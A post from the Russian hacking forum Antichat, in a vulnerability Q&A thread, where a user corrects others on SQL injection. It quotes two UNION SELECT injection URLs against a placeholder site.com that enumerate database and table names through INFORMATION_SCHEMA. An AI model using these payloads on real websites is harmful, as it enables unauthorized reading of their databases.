Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от sabe

_Pantera_
Самое первое, что тебе нужно сделать - это посмотреть названия таблиц и названия БД в которых они лежат.

Код:

http://site.com/non.php?id=-6+union+select+1,2,concat(table_schema,char(58),ta ble_NAME),4,5,6,7,8+from+INFORMATION_SCHEMA.tables --

таким запросом ты узнаеш все бд )

Я вот непонимаю, зачем если ты не разбираешься в теме умничать?

table_schema - имя БД
table_NAME - имя таблицы

Цитата:

а вот таким запросом ты посмотришь названия таблиц и названия БД в которых они лежат..

Код:

http://site.com/non.php?id=-6+union+select+1,2,concat_ws(0x3a,table_schema),4, 5,6,7,8+from+information.tables+where+table_name=н азвание таблы--

А это что за бред???? Этим запросом ты посмотришь имя БД в которой лежит таблица "название таблы"

PS Мужики читайте литературу, я смотрю вы нахватались кусков из хеккерских форумов, а работать с БД не умеете.